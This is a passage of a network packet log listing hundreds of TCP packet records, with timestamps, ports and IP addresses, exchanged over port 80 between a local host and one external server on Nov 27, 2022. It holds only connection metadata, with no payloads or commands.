Nov 27, 2022 04:36:43.066221952 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.066231012 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.066250086 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.066256046 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.066262960 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.066279888 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.066303968 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.066303968 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.066330910 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.066330910 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.066346884 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.066355944 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.066371918 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.066379070 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.066394091 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.066404104 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.066417933 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.066428900 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.066445112 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.066452980 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.066468000 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.066477060 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.066489935 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.066500902 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.066514969 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.066524029 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.066540956 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.066548109 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.066564083 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.066571951 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.066586971 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.066596031 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.066611052 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.066620111 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.066633940 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.066643000 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.066657066 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.066667080 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.066688061 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.066692114 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.066709042 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.066716909 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.066728115 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.066740036 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.066754103 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.066765070 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.066777945 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.066788912 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.066812992 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.066814899 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.066838026 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.066845894 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.066863060 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.066865921 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.066890001 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.066900015 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.066904068 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.066929102 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.066946983 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.066952944 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.066972017 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.066977978 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.066996098 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.067003012 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.067015886 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.067028046 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.067044973 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.067053080 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.067065001 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.067076921 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.067092896 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.067100048 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.067116976 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.067125082 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.067136049 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.067150116 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.067161083 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.067174911 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.067188025 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.067198992 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.067213058 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.067224026 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.067238092 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.067250013 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.067261934 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.067274094 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.067289114 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.067296982 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.067312956 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.067321062 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.067333937 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.067343950 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.067368031 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.067368984 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.067382097 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.067390919 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.067414045 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.067414999 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.067428112 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.067440033 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.067462921 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.067466021 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.067487001 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.067497015 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.067507982 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.067512989 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.067528963 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.067538023 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.067559958 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.067563057 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.067581892 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.067586899 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.067611933 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.067617893 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.067636013 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.067636967 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.067657948 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.067658901 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.067682028 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.067683935 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.067696095 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.067708969 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.067723989 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.067732096 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.067747116 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.067755938 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.067770958 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.067779064 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.067800045 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.067801952 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.067816019 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.067827940 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.067843914 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.067852020 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.067869902 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.067874908 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.067888975 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.067898989 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.067915916 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.067924023 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.067939997 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.067949057 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.067965984 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.067972898 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.067990065 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.067997932 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.068016052 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.068022013 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.068038940 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.068046093 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.068061113 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.068069935 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.068085909 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.068093061 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.068116903 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.068125963 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.068140030 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.068152905 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.068164110 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.068167925 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.068187952 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.068192959 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.068212986 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.068223000 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.068238020 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.068248034 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.068263054 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.068273067 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.068285942 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.068289042 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.068300962 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.068310022 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.068334103 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.068337917 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.068356991 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.068365097 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.068381071 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.068389893 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.068404913 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.068408012 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.068428993 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.068434954 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.068451881 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.068464041 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.068475962 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.068478107 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.068497896 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.068504095 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.068521976 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.068533897 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.068543911 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.068557978 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.068567991 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.068574905 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.068593025 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.068598986 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.068617105 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.068624973 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.068641901 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.068654060 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.068665028 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.068675041 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.068690062 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.068697929 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.068716049 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.068725109 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.068737030 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.068741083 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.068766117 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.068768024 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.068789959 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.068799973 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.068813086 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.068813086 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.068840981 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.068857908 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.068866968 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.068882942 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.068902969 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.068906069 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.068926096 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.068931103 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.068953037 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.068953991 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.068975925 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.068977118 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.069000006 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.069000959 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.069016933 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.069024086 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.069045067 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.069050074 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.069067955 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.069072962 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.069096088 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.069096088 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.069113016 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.069122076 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.069140911 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.069144964 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.069168091 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.069169044 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.069185972 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.069191933 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.069211960 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.069216013 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.069236040 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.069238901 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.069257021 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.069263935 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.069284916 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.069287062 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.069303036 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.069310904 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.069329977 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.069336891 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.069358110 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.069360971 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.069381952 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.069386005 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.069402933 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.069410086 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.069434881 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.069437981 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.069456100 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.069458961 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.069483995 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.069487095 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.069508076 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.069514036 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.069530964 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.069541931 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.069555044 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.069564104 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.069578886 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.069590092 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.069602013 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.069608927 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.069622993 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.069626093 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.069650888 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.069657087 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.069669962 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.069674969 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.069698095 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.069705963 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.069720984 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.069730043 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.069746017 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.069756985 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.069771051 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.069771051 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.069793940 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.069799900 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.069818020 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.069828987 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.069842100 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.069850922 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.069864988 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.069876909 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.069889069 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.069896936 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.069912910 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.069936037 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.069936991 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.069962025 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.069967985 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.069984913 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.069986105 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.070008993 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.070019007 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.070029974 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.070033073 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.070058107 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.070059061 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.070080996 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.070080996 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.070100069 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.070105076 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.070122957 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.070132971 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.070152998 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.070157051 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.070179939 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.070179939 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.070203066 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.070204020 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.070228100 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.070229053 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.070245028 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.070250988 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.070274115 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.070276976 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.070291996 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.070297956 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.070317984 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.070323944 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.070343018 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.070349932 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.070369959 CET	49705	80	192.168.2.5	66.235.200.147
